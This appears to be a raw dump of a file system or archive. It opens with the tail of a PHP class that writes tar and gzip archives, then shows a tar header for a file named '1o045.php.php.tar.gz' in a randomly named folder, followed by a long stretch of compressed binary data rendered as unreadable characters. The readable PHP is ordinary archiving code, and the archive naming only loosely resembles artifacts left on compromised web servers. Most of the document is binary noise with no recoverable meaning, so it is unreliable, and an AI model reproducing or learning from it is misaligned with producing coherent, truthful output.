		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>w8zplf/1o045.php.php.tar.gz000064400000060637000000000000011226 0ustar00���r�Ȳ د*��$K�H)��"%���(R���y5 	� A��5O����<�٘�͇�C�<�M��¹��_2���������3������������p
��n٩��7���&+܄g��]��0d�v?,�1���o9]����G�����t0�F��Cρh8a�?���V5NAM�3�w���'4�?����jL^yf�Ih�f�����o��?�,����0Y+�&����Ɍ$k�p�I\q͉���?]skm*+�M2�o=�w�:��C�'������zKNU��2BI��%
ey.�/��J���Z��>�ꋭ	���P�z�H�m��_�Ӿ�3nÑ�/FU�(c�iK�����o8�Ea�k������#M�;~z9z|�E�7S�8�?~aI�_�/�����FDE�=ZQ���
�S|Y�F��$As}�at�|qH�v(K/���	�R�'r��d����T�LE�v�hʚ�9h���«hP��@֦�����D�-5`|^�
�����Zot/i���X�4
�j�,8�U�S�S/3�Q+/� �^�/^f-�d/���������1�'y�`_H2v�H�ߋ����<��Q�-D�������k�}��<����蝩^��r�f��ݡ��w�\zՕ�p�0�	L�}w���7���-
T�E�K�,�&�i�4Qь����k4͇x�a Ny�wKY�\f��M�4���%Ӭ���<��S�A�8�Pq����(2}\��P�2�T+�N5sMhr
�8e�!��NRE�"`��S#x���Yᙽ�f�5}�rZ�23B�xF�
*3D|Y�3.�VT�Ž�@��꿳�1b~�n��é�A#�+��(��9����d��ud8iȋ�>��)Z*p=�	�ɋ%��0�#�J�,��	Ҁo�$��R�x���Ȣ_���m��=@��C�5��p*~�SFF�-o%�-H�ߖ%�����o�
��7��xſ�>u�S�JSYa�!]7x��uXw0�o{��d���w��^�8K��Jr�Vd<�T��.�,	���KC�}�:
���mT0��(� �q~�:d\�x�5���:ʔ	����-��zO�(�>@ʜ7Wα%x��
�m�������: 	���d���x�:j��n<�-_jh�AY���h��eX� ��@C�8;N�_����G	���q��f�1�s�d%�U�X��Yx@)����JY����P�:����?�
O=x'z
�1�N���u�h��jNe�C���yL���/�K9����z[rY�J[x����ũ����a�-(�|�:�s�C�����җ�G���Ék@���9ϣ�&=�ś�Dyi���(�Pk
��H�
�H>x���CEyĻ����,��"C���;*h�||e<�w�W(�l���p{����^��FF<�3VП�܉�.9m
m/���u����۹f�ҝ_��'F/����.���fn��Z��� �
�y�:��ꙓEp����^ ��@Z�|K㬓Pd9Erǂ��$.�
� �6�^dh���uD|!��n�'oǜ��eur��A��d��0�k4gQ�sh��$E���Y~��R(�"Ɇ���nrG�ݶ�R����ڻа�/����NC5q~E�1�i��
����1@��&���\!���
ꋴ^�0|� ��$�Z��L�ov�Z���ɖ��o'���ș}�5�S@f���8�u:8�vw
іij���R��iv�ݧ �t4��-LR�Eʂ�!�Og'e4d��3���L�q��ӕs�v�c�t2�{<o�d"e��Q2��娈M�`�8/*/ZH˜��2�3������Y�*�`LP�br�PIВ�����m�&f?H"�b�QQPO���P�4��8P��H��-
��jֳ��r62�����;�ĩ�jN#��,���TD3Ϙ�8�L
H
ڼ�P��Vl�����A�%Hc�L�NT�h&��=C!����I&��r㙋��K�i2�j����44F�6L���錠����ZB8ͭp�e�!V ����|�UaC� #�
f�$�e��븴�!{5ڍ]�h��g~c^e��+��6*��n�t:ٖ�f��y�hb�˶a��+�A�f���5>;Z��K*���Z/�T��Nr��P�3��S�t^ЬP��U��bb���FB����p5FӊN��\�S���)���;����`�����"3�4D#$��	2�D��\]�F�ZW�؜<������1l�0{��@�A�/8�Q����["Ɯ�ĘEo�3e�-�)pP1�&pXL#���v
h[��4�C��z�2�	/�N�|��Il�,�p[�DЦ�p7�&K6�K��nǂJ�^v��Hwa��T։$C��HJ��Γ��#�&�]�����A*�$�C^U��C$(rH}VT(b����T���u��K(�&�R��^6�-{���K��kfR�\=3�l�����dx�R//�b9��B�[#*�T�	�j�!u�������ӗ$�q~�����������/0�QS�/�˫��V4�:�v0T�0��p����9��9�>T�)?�3�fn}�1.L��1�����}I����Z;��+�#X��M.NK�:-����ɮ���5����I&��7���{}ea���oL~-a#�j]X*��ӘfCo���Y�n}�v��@7/�`qI@_ᵵ"1�T(���A*l,�]P�!��0�]�̦2#�)�+�X"T]�6x�hQ�I���}��B;ɟ��`�z�(_#Ԡ�9��d�{A�D�lP	�?/�Z�E�R�|Nh�xC*+�O��-8/Z[��s�}wJPea��f0��E���DA�[�3��x,ye��	�`K
�J����T�<W�K?[ڸ��h��PuB�@.Z�Wƿ��~7�L��d,۔�s^#�@�:�Z��<��2!����,
C��Hs;@�5�q`���O�"��Aݼ*j���@��l>g�%?D¤��5�a`�0��=v`�׀M`A������p�Ѐ	4`�/��RX�v`K+0�p[�K�V�]Ӣd6��JV�5���6l�@�Ru����8-��?N�n�S6eQ�=9N�S1���q3�5�v�!қ�"�������~�7���ބ�ӛ���teE��j�����7�s�	RD��z�jY{�J�{�xGY��y�-	�e�HB[4�b��3KnD��	��	���g���+*<�����aZ��)(E�%~KK `8E����o���_�E�h����qB�+��,3�v�p�8!Bkoa&Վ�'�im�/h�i/�JB��9F��]z-/w��)�5�9T�Hv�����6��x�#ը�p�cc��s�*t�-fP�i��.M�>�2�.M�S��3�0��HڢǓ�lXĨ0�M�5r)�����USϔ����႓Y��o����U��e8MC4X��;��L:P��/6�wf��0[�%��-�h��.��;�o�~9���v=m��
Z^<�x������Ȋ��u���1�8p��gk�yi�Mo�<l����
�Wcq�N]n|�@�d^��>I�R���뱼�%,/�P�Nl����Ø���;^��@@a�,�L4	Ei�S$����:�D
l�@�ҹu��D&]EY�qk�H�]�SY���{؀�τ�a�"kL^^K#*�{!�>"Φ�ik����������w�������ۚ���U� �NV��xi�
It3T-��ɣ��Q�څ�|L����wA�?{��R2ʬ��UQ��$�u�o��s�*
��]i�*�7 �v�����pὀ�
������ݺ�n����9�U#�������@k�h�M}ڲ�u�
�?yM��Z�6B��u������3GS��C2i���L¥�����/��g�`'$|�xu���5>]�x�<-٤2���r��m�Nq��U��~g�h	 ]�Z;�y�c_��k@�%�[be=��!<#��#�E�5踆E&�D� ��,�_"��2��;"�n}�'�����ͦ��\����ז჌/_�@�}�^���!����h�Ih�@h
"���!�Tѱ�}Иcf�9��nD�M�	�9�'�o�&�eҩ끪)fQ/�2HP���6�{��u����%��Ղ�)�
�1�\�!�z#(�y��u;���DϤ[�w���2}�t�J��bwE��b�9��Ή��t3�5�5<z�1��5AC����/8%)��#�:}��p�!�2&�#�L~�t|B�5�s&I�hX7H>��!m�=?��{�L���r��s=B�[e,����+�Z�E�t�
�8�:����k����K:?@��b0.@��sH�t�z�ɩ;�9oQK>�=)��% ��cb�mc�:�g��Nz���X�4������]�#.Tt0^�ʣ�	����0ؤ�q��H0��hS:��Y�bs�!�%;���5��>hW���ii��OŞI.��������K�fzp�L�%�3 cR[��"��<����O�������+�w��ho�+���ʻ��Ʒ�������w�7|Ǝ[�Ȓ*�#�=�@��Ց�W�	KŒ�9��D"T�5��<�J/�K����M�H�{���鈚D�‰��iO�gl(S=���@j�/��l�<(�����$5��;
6����K�������s��V���2M�$�Hv�#��8iHh4\�ӟ݄+�[f�GU�q�ş㫗9�1\9�䙾F�y�9?E��^�y��_D��'	�I����'�i�ĸ�{����=}&4�;�Ѡ]Y���uunn+��d�Zǝ�j�� �`�"�;eE�k�'ƛVI���W���1~V�:G��.��vt)�H��
�:
d�<�[^�`�CKy�8#G�kQ��5���j��,כ�z�LZի�?9����Lz�xu��!º�M�w~D�bh����ȩS8#ø`��s�,�u��/t\�_tÇ�kQ�E��$!�>���GL�@����$��vO�8�/��sPQ�h��"Š��E/�B��!�xsO���r��iU��
3JrQPnڞ� �MQ���i"�D~�vB���ͽ�9��� P��5�$9�3�6
7��䕮�ʹL����7�O������^ 5�G�I3� �N^�ȇ"ۨ�9�b��=��&�?�}Nx4F�V�����>;T�F.���&���0�K�֖nI�<�2E�rs��Z@����R<�V��9b��@�J3�h1�J�j��I�۹�˩��S͒����B��P�`�]�`�!��X�4U7Z�ټ_����{R��q�g����/ ��,$;�;���J9�w�wP�!��G7�c�^���Of)Đ*�	�{���%�nU_�4��r�V���W�:��g�� ���tM��l*�!�tK���<W\����f��p#� ���߇���_#ua$�v��׹�n4�*��.Z�kEL�ϒ,�09�W`�;e)#
�yҁ%�����3=k�as�ت�*���_���9��������+l>�mV_��H��a�J��8	;�@']��ā�C�:}�����ֈUBMj��K^N��+�ʉ�=z�/���"��c�[�ӂ.RUBj�~��E=�p?�;'�0-9��k�8���#�r#��C�|����Rs�#�u(�!��\(N����k��F7�3M��zE��"��
[f�G,-%�R*)i������j�8+�9=bw"�#dއt�ы�")x�[����,��^gr�kJ��lٵ�b��f��Jv��M��W��U�ԝR-�WW�33͞���m�i���\aX��k�h���6lŖ�"ar��`��H�,
a1y1���5b�d�E���wj'3@�ki*/x�)���mkQBZ�5/�����A����Lp�����
����gaeQVn��Fd6�$���ė��'!)pm�2���5a09I���1� ��Wn(4�ǧ� �L��K>�CMH<�AX����8{��K�K����`��j�H,eA"[4�������Z]�]r�8�]J�;2�^���6��Ra"�пJ�=͵'�)
��z&��r��h�C�0J�ڹT��+�n)ZG��F��o��q(��d��Z��A��hC��C�Vnzz��)%��-��B�n�l,�����:�!C��p����v���&Bd6AY��F�R:�ak�x��I;7�j�W͉��ᖪ�᭬���6;z�h[
��~�N�"%14^D�U��ƪى�L<�Yx����Ed�K�Y66���G��B�ႍ�YO�{��(�*�	�r�@p�xT����i�&�v�<��@Z,r9���i��S,;n����S7*UB��8��g��#�q)���
'M�7c��P}��B��-{ؙ���g<NZ1���`&<䊩Ь���m�6�����98����Cz���d��*�Yg�R���OD�9�><yֱ�t�)~y�Zr�ٸ�8V�6�V٘�ec�nG�٧E詜�«��y�>�!17��2뙡N�A�z�=��lLt���`&>�d���
�3yYm�e$�.n�ٗ*�U�9�W�Qv<��X�Ԥ�����n�k��jX��-։G��l�K���HgYOWQn�w�~��&V�vR�ծg=k�[uI; �d�B�О��Җ�"h><�����)0G���&ui�o�#-���R�n'?�A���\�7�W6}��=?��\~>>�Ŝ���#���L��n�mǡB�-�ꝺ�Vz�z����\�����YgY�7vOB.#hOJ������X暍�c0��
Ro�X��eY�J��$��
Mv\y��a���(u��7_�b�]}���+R�Ј&V�]�����V��o�7My��\mXYuا�h�b�%,Ѿ�����9X�w�r!ė�c1�N�g�X
�@���h�t��Tj�n��e�Z>{f��r����&��Su�4j�ga��r�NnT+�R[�6�U��(���ppzG2�ZVۦ2����w�=�>ӏ�v$��'�I2I�M,�)L<��*���XK�/�)?��Q�ɡ6���?�L�Ώ�r�Q1C�êI�p�$ۏ0��2�$I`�pc���V#�C������6)�ٜs����ʁE
ǡw	��j�#��v
!.�?�܀�.5����,%����hw�����5�ͪf�)�N�����IJλW`5�ů�Tl[��8zƕ�����K��h�@���p8��q��_��F7���/�F�U=���b�3��K��&ҴS=�^^@^!ã{�X��w��C���/�فl������h'�5x��Y���#ǩl|I�f������m`g?u�b~���꒓�M8�۶Cn��_V���6�W8�i�9sŇފE�
�9�����5��$J9'�p*lt��I��J��<>88�A^A{u������0�]X^/��B��
@S.���7���Cr��0�ȝ`��W�a_�[,�^�N�q�+Hl���ye���k}v�$D�Oַ[��Nw^H��@4����yp�}����P>k�4���4���1�ޠ;�t�Z��"�s���?Rڶ:q�;�:t�~d�+\��\������0�X��e9����l��+��p��~A�'���l�=?hq|��j]�J�(0�!�>��*�e]fO��
Ѐ���I�}4E���n�K��`̱��
�y)u��_���������c��_����g�z�O�������_�������+����������n)�ˏdq�6|�N�_���Bm)bg�����Ͼ�ɈC�i���J���st��B��!��w�L�,ds����J`WM���3�$}�j�k6�^�tc�9��d�BE#w�ѓC��'��6�6j�f�36��ӧp҈ps©kM�%p�vr�d� ���U����1D�3{k��"��]���c�I��^�	�4���0�:�Ov<Y�]�i�v�O���)i_�����d۳��h�[7(sD�f���G�G� A��K��)@J�xJfQ�7�*>��
�PX���	a�.��+��]��%fA_��Í�v��f�n���R�8��[�hl����j�$��ނ��[�{��]��[�93���V<4���5�6f��¨�l�6
�_��oj4zuxY}��.���Fg��3��!4,ÙpO� 	bMB[�=��z�^/�<�>�� �rV����r.*��(����o1��	��"�\��U�5�5���M�
J�:A_��'�7�|x?:U�����������s#�EL�c�{Uұ��7q�9d�m~VzC=󒎭0Ҧ�Q�n��]p9�FrH�	P8X��}+-1,)ǹ0�u��ho�8��ٹf�ص��Z��L� ��s��C�x
��L!�g����q<P��)��I6�O��e�eV�����cI�7���]髵���"!�95�~ky�d��Ⱥ�/r���J��-�i	�Q_ڍ"]h��=T����s�hZ�S�?W��݈����T�᢮��>Ѽ�;a.����	��Ohs��4'�,񳨓�-��i��:h��es�}L�,uA�=��A�1baI]s���η���Y:-�1ǎ�7S7sZ¼n�ā�N �i�;���]W�t�MZ�o�d#��0q�t�c��ř���C�9vt���36#X���z�EK�I�QkT��v�إ���u=�腙I��!�lF��5�+�*��+�r'���9�F8�S_�8Z�xmC�؁ ��xO3��)����{~I�"֫Я#G��7|���C=�_i+y>�����iA�]����~F�~{������8��.X���`cW�ƖF�D-n_oq<j�}{u��7
��Φ-b��Z�H�U��sFЃ���7Z�ܥ�
k1�d��I������ҫn4�-�߮X6�,�^&�|��L(Y���p��E��d���2�d���;<�v�.kI�D#q�	g��ْ����K�\vT�,��l���_��Fh

�� T�Ǝ "NV�垸U�
��^K�FOF�p�}ǐY�b��q�|�qf��!;Ӳ�Vo���ȕt�C:�'��2�t����'�s`q(]j�|���{}�����@ҍ33D�&��?6�q��E�!R�;`'��m���wVw<8�䔛	����ui23�5M^x�_2�H&�a��2��q���sb<��c&@�An��G�'��{AsG� �笓T�NJ3v��X�g�6�k�eM�aB�hI����s�}[��nkņ��h5�R88NO�<o�E��:e�硱��<�u�d����n���Hơ�NC�B^�T��P��(WkH
Fzq������I��2ޙLS����r��-W3�V�Z�K���o6�/H/�{���x-�k�Y�!�ʢb�[��|��A�F��nTZ�T��*�g\�m\���C�iG�E�i,kV��q��R��;���	�����'���������H$��9��/_�rG�v�L/CNa�B[0�������k��[ݐ�t��rp��1;�7V��v;=�‡�ÛM9�+H�O�o(�`J�͔W/;%�Dm�?%O����-�J����%?j��]۱�͘[�����ڸ�����KL�bs�	W~�ݚ�%'��-��
O,i#�#�n�~4�H�a���Xj^7l|g�����<��/�/D3�O1g*b�=Hm�6ňX�GÉH.�j�P��m�H��7�2�HDc�7+�=�����'r�n09?�{?���L8mD�U��{��
7��9�����Sx0)��{f6�b��O�?�����2	�g����ٺ�/�_L�F�ॲ�\.��Y��.��a�6zD,�P0N��^���*�׫�Ԁ�8��I\s�[,��|hsmt;U�Nq��eI���7}n0	4)�y�8��)�ߠ�0o�x3�`�O�H᳟{2�y��Ņb�cy�Vm���fD��e>cq�HC_��]7;h�o����w`G�q�ML����@���A�"B�I�]��A��ک�Ì�:���-�P(�id�a!%�M{�.�!�jϛ�U�>�7�	�m�0�h�۹B\��ju&g�򝜚-ʥ`j</r��$Z-
�?�g\��'<�
�<?�ּ���8�I��l�Q饞V�"��3�]�U�u��+=>�R��p�g����Nզ�Zv����f�J�r&�M����Sz��n�U})S�L.5L��i9SL�S�tt6/-�o��~+UB��r/X���)-UHIcϠ�*fF�G1���b&�Iq�B���MQ�I,U:�:�2��O��tcь�#��DKeӏ�`��*gB��l5�Z�S��Jo�2�j�P{��N�}T���xs��U�+4��Š_7�F/?�d�t`�\����|�\�Ճ���t1O��Ң_h�ҕ;�Ƿh�3�|�a2ak	�)\U�X�"G�Y1�E�x��?
�u�z�!���c�S�x9K�i�]�ؤ!?O֓ј/��b�^n���u������r��,����<R��v��Ao�|�#�VdS6�z��q�6��1᱘�?����l�U�V�=<D���By�lyXf��ȿ/��R�����@�9�Er�p@�Bڥfi����<��U��:�SjA���׍27���`s?�wZ��f�J�J�A��]JM����
!�g�6?yD+�?_4��T�y^���VI=�D�F)�.)�t�m��C*==�ӣC:��&��y|je��t&�h�'%n��B�0H����r�Q�)��\k�
��b7���Yv9�<�ҥ�>��7�Ԥ�k>pB*/�d6�L���pq�/�Q��L�QH7��QiOvmy�.�;Ňq11�#���^�bh��'�}a���ba�n���r'��&���(ȓM��P�-�xW~�ԇJ����A��W�I-(�=��p��Nz�C-7Ȧ�;��Q[5ӯ�������n��vV��:,zq�n��7'��T��ˍ��I�I7�ӧn.�k�&��Lݟɏ��<;�?d���*��?*r�3��z��n�˙Z7'�[�]:&�j�ʾ��O��آ��/v�|����E�Y���U_�7��l��~a�Om��}�y.�l$[�<�i\TKR�15�Zᶧ(���9��\����"���pU��e�SG�'�!�L5��i�x9wh3�2���.R��[��䙫���g�_OFb#R�g��Y6<�s4U���t����S��^
�a��C����*����������AYT�~6"n:��J��|���YvJb����SZ��+�_M�N<�\�=�g��P��S�6[ե���:�e�
<
�A~Y�
�/uv�鳽y�;�<m���2_��v�y�M2�����ŮZY���I�9��<T�ϻ`IY��F0&�������S�?�7�vG�;���ߚHR��?�C�Rh�ڔ���[���)�%�,���,i���lZ�:�񈀁�: �&�Hz痥���f��~Hj'�V����~��R�]q�@h�Q,�^z�=I��EyD�<?I��.Qfm��.��C6?)���<��O��$�kuv��vT���N>�<�����T��ýfc=���D�0k�j��Tx�>��Pa0�f�����r�_Vb�e�5X,J\/��jO�x��+��<�8�w�CYZx�A �k�4��eU[	�u���R�֚�[O;r��uz��r��9M�b@Yk�谱��չ?�HZ_�Ʋ;M]W�a_�>���z�-��q7/��#I�w�[O���Wk)Xa[��lo�Ϯ�Qw�c�}>��V�(wXֵP(�x,�Q��ւ��L���%Ԭԩ�����a�v���f�\./���R�Pq�7J�Zg���Mw��U�uPF�ueY���P�o��~�w[����V�{ҍ�(�f"��Sa3V"��ߓ�Ǟ��>1+G��ʈ�j�Nh�Mc��'1��%ϓ'|؆B�2��O�x&�/�˭xe#��|�_a�lbΆ�_�H�L;��V'�B��-�<�xq��ʠ?�A>���2�z����K�d��V�yy_�ו�C(�U���2���x=�S�idQ(oC��p�a���pd+�'��Ux�<��\�򷢍�~.�Ԥ�v<���JS���ȪV�C�Y3Z���}Qz
t�Q7'���6RV��"�n46W�ː��Tb�������M3��q��V��T�8�V[�z#�Z����q�5�w�I�<���6*Z��U��i��OV��U3�X�W���]�*����4�/���S�}-+>�\����Z%�z�漟��W�կ���Y��N�ʞ]7Z�q^���X���:�2b���@��e9����H�9�ГJ�>�H¦�{m]�D�e��Zl�����/w��Q��%��Qg�?RK�];_
����6�.���E�ӊn�N�_�����I'����V�+ѭ�ɬ��1�<�Q+0A3��W��z�EI���Ȱ3NL���L,�G�������ɭ��Z_{\D�~"��[��9�W���?;Jt�j(��?ʑq�TY�&�>�k�l�,���c�@sީ5���i��}x�b��T�mj=��<��!�{�hZ'��T�A�?�=�Z��>��RXD��\�:x~�v�Z3���h0�ځF�Y�4��DO�������a���h�T&�ά(��ʶ� ͣ��c��ٖ�]L����D�;����bS�K���h������[�4X�$%�H��ld���HsSi��[��x�Gb?��H���J?	֪��\x<��Ck�?��D��\+�G��>�i�:���b�>C�QU���Z��cRy�)�8�bҚW�>8Ek����@$����W[��f\��q>�>���w�8qPױ��P����Vl7N�Z}$fC�q��xB��&�Xm�I<�0l��´W���20�&��mq�B�7P���SmIB-TND�{�O�{��٨���u~�ی7�N41��������H�<�E�WR��b�2�iԳ��:1g�Ѷ���h�ȉx��iċq�
�"���Ʊ�nњ��\*2;���Cy��^W�͵�F*˦j��$�|��q����H���]m!M��Ҡ�F9�Ҩ���Զ�4�B�T�q����x��
��z#�'�[O�Z��F�r�F�O�'���i��m��I��|8Ώ�t���R�aFhL�d�jb��E�Â�GV�^��ΎZ��d�Nc���]gb%%���a�ĮʠB�4��e�j��e<��hCh���1�xi�o���D%4�(y�r�^}�������37'��"?�������k�m+X���T���:�P����S0��y.����hpSwڏ�b��6v�o	�0S
�i����f�'Ƒ���<�wKY��[��y@�\��ʗW�msP,�Gϓ�Z�Y̳Y��Bb���u1�\��z�/T��u�Y����u/�A��sk�����S��'��Cf�i�ݭ:�d;�F�Wi�CҪ��v��*8,��b 5�R�Fc\t�Un�K�z����j1t��݇'T1�OW�ժ,��l��u���'S���Ϫ�g� �|x��s�R�Sϰ�������h�J��!�km�1��$Y]O{��^�5��뉇F�Պb(��3��2��m���['rb�5o��L��6�!�+�a���-�[���?l!�B����a���-�[���?l!�[Hky�� b:>���P���e[��P�<���=�FO���/�3�Q���n�B�}+�-�r�y^�

q��/�ʹ]~���HE�8��'ee1�Kd{BG
GG5i�n=�D,$M���&��쑆5�����x�0[ 2�+HH=��+�{�]�����?���GRo�dz�z�����b�yה�ƝLj?�gKmeX@��dR�\`�$#��Z����G���س�ItTԊ\�{��<Rm"%%��r�|g8�uj�Dp[h��!�ih��j٬�P0��=W4~ڛ��s�S�1�h�T���Lէi����HvV}��w�uL>Dr�м��gi�O�V����͕�Z6Ŏ�:jt�
�!M*n�6=��Rx����q!�+3��5C�z��
�n��ݍǒ'�	F�G��F����v�۩W
�.�֕�]�TP��M�a�	�����Ri;k��S�W?,���Fn�Bh�%��"�?pϫ�&�eW��d���!��_TG�MlQxj?��b����+Y���cG�2;ޓ�Oz�I�[T�y2il;�X��Q�;a���Ԟ/vJ�p_�d�]��gwϞ�(U.Ğ�N��
��䑳"x��ʼn������?:��(����AD����g���:q����V�WYO�J�������`b/,F��D#U�Tr/�~�T30T�5(��nUQ�r�Y�!�oI����Rn����|��g���
�hO=D׳�MI���p.�;�E1]���Y��ޗ.��W��Y��f�ٶ�l�B���J��Ɩ�B?�B{�h�0��J|/o��A��5*�~�
�Zq�-<��9\�T�+O��i`��XO���xb?���oBJ��^f҉D'����` =L�l|��<���8���B8�XϪ:�j(�CmT����YCt���Bq��P_KU�ꡙ��K�V����ea[����QΣv������)�=��V&�xfx�q����O��v`�o��a�	=q�ݶ���(4�ź�q�±�D?8?xԈAb����J��=o���20�@@�C��ė���)�RJe��Hw%m���i��o���w:�r�;���e�g�+���b�Ls^\=FK���\��Ng3{�c���`�]��0��d;�����R�J؜Yxn��� ����}��N�	��L?�&��<��n#2�b
��c#�o��٢�ju����VZ��'5կ����0�t�=i�T�z.��K����r�|c<�[Ӈ`L�E��'+M���A�C.�L�5�x4E�����i�m��t�/f�t�ŀT|�E"91��'���01X��^��4�@���˕�:S����|���R&3xJ<�+	��VҬ�.��Դ�.>��e]q�m6����!'�c]�:�ڧ�R��X}�ԕ�~�ڶ��!]�T�g�z� �Jn����mJ�xH�Nd�|-�lw��R$�+�:���	���p�xׂ����Xпܹ�;�~��
Dy8��!��W��h�o��xwcQ�[�kgJ��T�{B�/VUn%mJ*���'�v��K.�{'�s�C�)�����w�h�����բ0����9M1�P�����c�(r�K��?���r����kr����xAb���M�ۺ�JT�p���_/_���1���w��ǵ�W���8Z���R�h�Q��N��K��Q/�FzZ���p�1Z���zg,��#��7�h�wĊ:W�\���7�F\��3�.�		�{K
�%ٚ�¶ȶ8�	�tr.2�~�
��b�1���"v��N��g|����,�#��P[+1����?剛���l���XR~b��⛔nb����^��8���j̆WT�A	K`C&ȏ@$�
^�;^��
u����#�v��c�?؏����s��@6�� �<�m�tw1P�ɱ���/^�`��Oz-J�Lꝍ��N��"�������j�-���3^�Ό����5�G��p��F�(Vٴ=��V�uh���߸�m�
����s��ڶͷ5HH�!��ג �mQކx���2FTȷZ:�pa�C������E�z�*I.Y[�T2�m{��M�wE94�XOX���E�x+
��w�2� Q����:����#�|6">6�4�'�c��
�_+���d)}�G���o���1��H��g)G!�~'Bg�q��G�A�wbf��w9[Լ�/���
؝_;��m?�kAy�G�]
dա",_�q]CF\��Ÿ���y!u�^A:E�#'�\_�E�T�ԏ����ؾ��H�X�c���%��>�Ț7���*QMj\�+��J�6�5?=e��Z�}E|}~J��U������SZ���5ҵ��{�6lH˨b������IB%�*�7L�C�p*�å��>��.�'�G���8������Ї��e���)o�&@��`��ﺙ�w�%̻O�}T��pNp��-`��7k�h��V*4LI����4�חi�o|��ޏN�����Z�l����~�	��Q@1�
���
�:�p��h�&N�U�!�ְ� ��� ��h[�-4v�4_7u��c��f��#�'8���p=b2�����V,�Ԭu!���5�� �>�G#v����GYZ���3��GU�O�2.�S�C�&`�F+L#��'�+_вAM�om~��f���!�'����a�?�_�-Bt"Z��ۚ���Q��2t�/��, �������/�6q)�%V�G���� ,F���������;U�h�M�K7b���
�y@�+}�X�x:�ݟ�Ƈv��H6'h��;��(���$ I�3"�X�suĆL�`���ED7>�1^KIPU̱0#�8?NCG*�ٷ��5p��٢������s�I���4F�g'(O�-m���f8��D�,���:�ᐰ9�������_�=��Jx�0%~K�H��#�/:�"����d��)z����|�p DC��5 %-{!�߅��ճ�<�}eqD��h��31�.���M`x�?�.��!��{�U�| Z�6瀝��H@��I���y�!R)�wz��t��:�����0�6��wҵ��SXdп���N��,�wV7°��eCtz^�:�� É��%C����b��c�q�鳅��3�Œ�(�a}'�M�P@�#�&��JY���*<B>��i��P�P�D��eYn�t��寂�zE�y?�!'�){*�S�A�yyu� [�]�hg��qf�3l�l]���yt�o� ���^�^H�i��<���,�ՠ=Xġ�Ɍ��:e�$p��]���k#<?>���s[.�š	B�"�¢����{���`�16R�O��Μ�+�]�ۿknv���zC������rLsX��9�x,s���8�u�=���|z�#�6O�KLƢ��Q

�aY�0Dq�#���/3���h��4�����I��D^��}���AR�,_��f����q�&c�N��X��bog�y—�|���O�L��È�{%/�>6�s:p��k��p}�d�2�9U$��$_%��x��cP������%�"�[]�:���BK�~"�:KG���`�e�wvȀ
|���	��P�˗Sn��T��[��ؓ�*�ck~)�"����+�L_�d�/ٸ��jrw+	!�9/bک�s��JE<� ��0�:�C�#zr~�eS���������әi�g\�l�����b���3H�:�{�a��o�bN��Y[g:=^&�<���t�P�R��u�}0�Q��K����9�9*���Ħ�k%�ltR��#^���t��D�!N>(�˂��^Daa|���z�TmTQ���G8�qY�Z���ւ8�+�"�OO�)ö�]�ڬ@l*!��s��L�£2�
��Ai�M��w�|��#��#�~C���쁗J�^�v��W�$c���~��r~D�A�q=�N>�n~��M|�i/��
�w8MW�|�Bu}��6�&�wO:\�L��u�,�8��i���
����p)�"X��4�;#Z_Z
,k~���,h���X*�����m����0���΃җ{mئ_%	��Oh�Н�:Lp�Ռ=���ͫ���\�	���,�w|���+�H2��e˲�+�V�N���25�!��󥑋�!��u�^;��h>��ě|���¤�s��]]֦�R7�&�.K`����d�V��E��z}�KH�Y��#`[n��.���qg/ys��(Hl�.,��ޚM}�D���ef�A�Sg��*�JX��h�7�K��X�-���H�p
�>AЬ��Š�+�g�2��z���.Aœ&t��~���7�1a޵�@{�����Ͽ��s�����7�G&A�+���|J!���b1Ǎ�!���� T'n71��֯.;<�A��Ve����^�]>t��<+�È<\�OzI&���N����|����m�i�=��^�b���tH̴��@�u�vG����
Dζf�)bCűQ�oóF��w���nA�wFI�4�jǴ4�~*&ϸj�@y�yZ���Ĵ��E
�.���B�י޲y��C���1ΛÏ��!��ZԄ%�h��7���o���d\�g�p?��}�!����,�5��ѯ3�4_���!���W�c�/ՠG⠃����O��rć0�/�\:��R|���H���,�"�$���Kg)@��)��j�F_=|�U��:Y����{!
�b�V'�Ppy�e�Gܾ��NjQ�.jhs-ڗ��RN���-���|ꋌ'�=A��� ������5���5�y�EQ��x��*˧W(d�J}-Xܐ�"�iD4��5<���>��
�9=��I6�(:.z�N=�`��
�~k��~�&c
E�|���󷒼U��y\�����U��??P��oo���Y�������
Y,�x�',Z��f��(`���L|�!'��tΉ�i��\�l(M��S��kK2]�
�ඌu�o�)埭� ��@6��������A� �7F�>bjH'`H{2�q%��7��2�I
/c|WϮu����k�
?�>�`Uu5��+q�<�������^t���%��D vȲ�p�9�g���)Z{��<��ULw '��ά^�#�s�{�x�:LJ�r�B�{�����8��L2.{�����,���7Bc
